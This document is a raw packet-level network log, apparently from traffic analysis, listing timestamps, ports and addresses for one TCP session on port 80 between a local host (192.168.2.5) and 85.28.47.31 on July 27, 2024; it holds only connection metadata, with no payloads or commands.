Jul 27, 2024 12:01:09.155899048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155925035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155930996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.155958891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.155981064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.156096935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.156125069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.156296015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.156330109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.156390905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157309055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157342911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157381058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157382011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157417059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157444000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157454967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157488108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157521009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157547951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157625914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157660007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157690048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157707930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157797098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157829046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157861948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157896996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157896996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157929897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.157938957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157970905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.157998085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.158102989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158138037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158164978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.158190012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.158262968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158296108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158329010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158466101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158499002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158499956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.158565044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.158642054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158675909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158708096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.158710003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.158737898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.158762932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159013033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159045935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159079075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159081936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159111977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159125090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159140110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159172058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159185886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159204960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159230947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159238100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159255981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159271955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159288883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159303904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159322023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159337044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159354925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159369946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159385920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159419060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159689903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159723043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159754992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159784079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159837008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159871101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159898043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159904003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159931898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159938097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159954071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.159970045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.159987926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160003901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160022020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160037994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160056114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160072088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160089016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160120964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160741091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160774946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160804033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160806894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160830021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160840034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160854101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160891056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160897970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160923958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160948992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160957098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.160983086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.160990000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161006927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161022902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161037922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161055088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161082983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161088943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161102057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161122084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161144018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161169052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161196947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161221981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161585093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161618948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161647081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161650896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161679983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161686897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161700010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161736012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161740065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161770105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161796093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161803961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161832094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161837101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161853075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161870956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.161886930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.161931992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162067890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162127972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162305117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162338972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162368059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162372112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162390947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162405968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162431955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162453890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162468910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162502050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162529945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162533998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162552118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162566900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162584066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162600994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162628889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162633896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162652016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162667036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.162694931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.162714005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163256884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163290024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163322926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163324118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163350105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163356066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163372040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163388014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163405895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163422108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163439989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163455009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163472891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163490057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163516045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163522005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.163538933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.163570881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.252410889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.252533913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.252644062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.252682924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.252715111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.252720118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.252744913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.252747059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.252777100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.252779961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.252804995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.252814054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.252851009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.252887011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.254806042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.254837990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.254872084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.254872084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.254903078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.254954100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.254992008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255018950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255120039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255151987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255179882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255187035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255203009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255222082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255235910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255270958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255477905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255510092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255538940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255543947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255568981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255578041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255594015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255611897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255626917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255644083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.255671978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.255693913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.256473064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.256525040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.256553888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.256558895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.256589890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.256592989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.256619930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.256647110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.256782055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.256815910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.256848097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.256850004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.256877899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.256901979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.257438898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.257469893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.257503986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.257504940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.257520914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.257553101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.257623911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.257656097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.257680893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.257689953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.257704973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.257721901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.257738113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.257771015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.259483099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.259515047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.259548903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.259556055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.259586096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.259613037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.259627104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.259659052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.259684086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.259691954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.259717941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.259725094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.259742022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.259774923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.259999037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.260030985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.260066032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.260159969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.260195017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.260229111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.260319948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.260351896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.260380030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.260386944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.260401011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.260442972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.260668993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.260726929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261034966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261066914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261099100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261100054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261117935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261152029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261190891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261224031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261251926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261272907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261356115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261416912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261549950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261581898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261606932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261615038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261640072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261648893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261677980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261739969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261910915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261943102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261970997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.261976004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.261992931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.262011051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.262027025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.262058973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.262748957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.262777090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.262808084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.262810946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.262826920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.262861013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.262902021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.262933969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.262959003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.262984037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.263071060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.263102055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.263134003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.263135910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.263163090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.263180971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.263196945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.263245106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.266103029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.266134977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.266168118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.266170025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.266199112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.266200066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.266215086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.266232967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.266259909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.266267061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.266278982 CEST	49704	80	192.168.2.5	85.28.47.31
